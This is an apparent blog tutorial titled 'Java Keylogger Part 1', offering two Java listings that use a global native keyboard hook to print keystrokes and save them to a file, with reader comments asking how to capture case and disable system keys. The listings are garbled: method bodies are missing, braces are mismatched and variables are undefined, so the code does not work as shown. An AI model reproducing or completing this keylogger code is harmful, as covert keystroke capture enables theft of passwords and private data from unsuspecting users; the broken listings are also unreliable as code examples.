Java Keylogger Part 1

After processing video every time it got shaky :(

Code 1 - This is simple code it will just show you every key pressed and when you press ecape it will exit
*****************************************************************************************************************

/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e){


/* Terminate program when one press ESCAPE */

try{
}catch(Exception ef){}
}
}

/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}

/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {




}

public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}

/* Construct the example object and initialze native hook. */
}
}

Code 1 ends

Code 2 - This code consists of saving key pressed to a file and then exit when escape is pressed
*****************************************************************************************************************

/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
String s;
public void nativeKeyPressed(NativeKeyEvent e){

/* Terminate program when one press ESCAPE */

try{
FileWriter fw=new FileWriter(f);

}catch(Exception ef){}
}
}

/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}

/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {




}

public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}

/* Construct the example object and initialze native hook. */
}
}

Code 2 ends

The problem with the code is it will not simply record special characters like !@#$%^&*( etc, For recording special characters use shift key and then get keycode so when shift is pressed and number keys record them as !@#$%^&*() by creating a switch statement. Do not worry I will make another video for this purpose only. Enjoy :)

[NguyenucNam_]

Hi, how to print both upper and lower case (in this code it only print upper case).

[pratikshachauhan]

Sir how we can remove these warnings of red color

[codingknowledge]

Bro how to disablw win alt and escap and ctrl key